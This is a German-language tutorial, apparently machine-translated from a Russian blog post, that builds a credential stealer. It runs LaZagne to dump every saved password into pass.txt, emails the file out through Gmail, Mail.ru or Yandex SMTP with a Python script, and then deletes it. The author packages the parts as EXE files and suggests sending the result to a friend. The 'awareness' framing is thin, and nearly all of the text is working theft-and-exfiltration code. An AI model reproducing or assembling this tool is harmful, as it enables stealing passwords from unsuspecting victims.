Python Stiller mit E-Mail

Was machen wir?


Hallo, der heutige Leser wird darüber sprechen, warum Sie nicht bestätigte Dateien, die von unbekannten Quellen heruntergeladen wurden, nicht öffnen und eine solche Datei erstellen müssen, um zu verstehen, was sie auf Ihrem PC tun kann. Wir werden einen Styler erstellen, der alle unsere Passwörter sammelt und uns per Post zusendet.


Was wird dafür benötigt?


Wir werden brauchen:


  1. Python 3.xx.
  2. Tool zur Wiederherstellung von Passwörtern (in unserem Fall LaZagne )
  3. Zwei Google-Konten

Und so fangen wir an


Legen Sie zunächst die EXE-Datei des LaZagne-Tools in den Ordner unseres Projekts. Als nächstes erstellen Sie eine .bat-Datei mit einem beliebigen Namen (ich werde main.bat haben) und eine send.py-Datei.


Wir sollten diese Struktur bekommen:


Projekt:


  • laZagne.exe
  • send.py
  • main.bat

Einen Code schreiben


Öffnen Sie die Datei main.bat und geben Sie den Code dort ein:


@Echo off laZagne.exe all > pass.txt 

Wenn Sie jetzt unsere .bat-Datei ausführen, haben wir eine pass.txt-Datei, in der sich alle Ihre Passwörter von Browsern (und nicht nur) befinden. Es bleiben nur Daten an die Mail zu senden. Aber wie geht das?


Senden an Mail

Öffnen Sie die Datei send.py und fügen Sie den Code ein:


 import smtplib import os import mimetypes from email import encoders from email.mime.base import MIMEBase from email.mime.text import MIMEText from email.mime.image import MIMEImage from email.mime.audio import MIMEAudio from email.mime.multipart import MIMEMultipart def send_email(addr_from, password, addr_to, files): msg_subj = 'Password' msg_text = 'Password' msg = MIMEMultipart() msg['From'] = addr_from msg['To'] = addr_to msg['Subject'] = msg_subj body = msg_text msg.attach(MIMEText(body, 'plain')) process_attachement(msg, files) #==========   ========== server = smtplib.SMTP('smtp.gmail.com', 587) server.starttls() server.login(addr_from, password) server.send_message(msg) server.quit() #============================================ def process_attachement(msg, files): for f in files: if os.path.isfile(f): attach_file(msg,f) elif os.path.exists(f): dir = os.listdir(f) for file in dir: attach_file(msg,f+"/"+file) def attach_file(msg, filepath): filename = os.path.basename(filepath) ctype, encoding = mimetypes.guess_type(filepath) if ctype is None or encoding is not None: ctype = 'application/octet-stream' maintype, subtype = ctype.split('/', 1) if maintype == 'text': with open(filepath) as fp: file = MIMEText(fp.read(), _subtype=subtype) fp.close() elif maintype == 'image': with open(filepath, 'rb') as fp: file = MIMEImage(fp.read(), _subtype=subtype) fp.close() elif maintype == 'audio': with open(filepath, 'rb') as fp: file = MIMEAudio(fp.read(), _subtype=subtype) fp.close() else: with open(filepath, 'rb') as fp: file = MIMEBase(maintype, subtype) file.set_payload(fp.read()) fp.close() encoders.encode_base64(file) file.add_header('Content-Disposition', 'attachment', filename=filename) msg.attach(file) #====================================== _from = "from@gmail.com" _password = "password" _to = "to@gmail.com" files = ["pass.txt"] #============================================= send_email(_from, _password, _to, files) 

Jetzt müssen Sie den ausgewählten Code konfigurieren und abhängig vom Dienst, an den Sie E-Mails senden, ändern: Google (zuerst müssen Sie den Zugriff für weniger sichere Anwendungen zulassen ):


 server = smtplib.SMTP('smtp.gmail.com', 587) server.starttls() server.login(addr_from, password) server.send_message(msg) server.quit() 

Mail.ru:


 server = smtplib.SMTP_SSL('smtp.mail.ru', 25) server.login(addr_from, password) server.send_message(msg) server.quit() 

Yandex:


 server = smtplib.SMTP_SSL('smtp.yandex.ru', 465) server.login(addr_from, password) server.send_message(msg) server.quit() 

Beenden Sie .bat

Fügen Sie nun in unserer .bat-Datei den Startcode der Datei send.py und das Löschen der Datei pass.txt hinzu:


 send.py del /s "pass.txt" 

Montage


Nachdem Sie main.bat ausgeführt haben, werden Ihre Passwörter an Ihre E-Mail-Adresse gesendet. Wenn Sie jedoch Python nicht installiert haben, funktioniert nichts. Sie müssen unsere send.py-Datei in exe umwandeln. Öffnen Sie dazu die Konsole und schreiben Sie:


 pip install pyinstaller pyinstaller --onefile send.py 

Trotzdem müssen wir die Datei main.bat in main.exe umwandeln, und Bat To Exe Converter hilft uns dabei. Klicken Sie auf die Schaltfläche mit drei Punkten ("...") und suchen Sie nach Ihrer main.bat-Datei. Klicken Sie auf "Öffnen", dann auf "Konvertieren" und rufen Sie die Datei main.exe auf. Diese drei Dateien sind unser Styler, wir können an einen Freund senden und genießen auf Leistung prüfen.


Referenzen


Source: https://habr.com/ru/post/de434356/


All Articles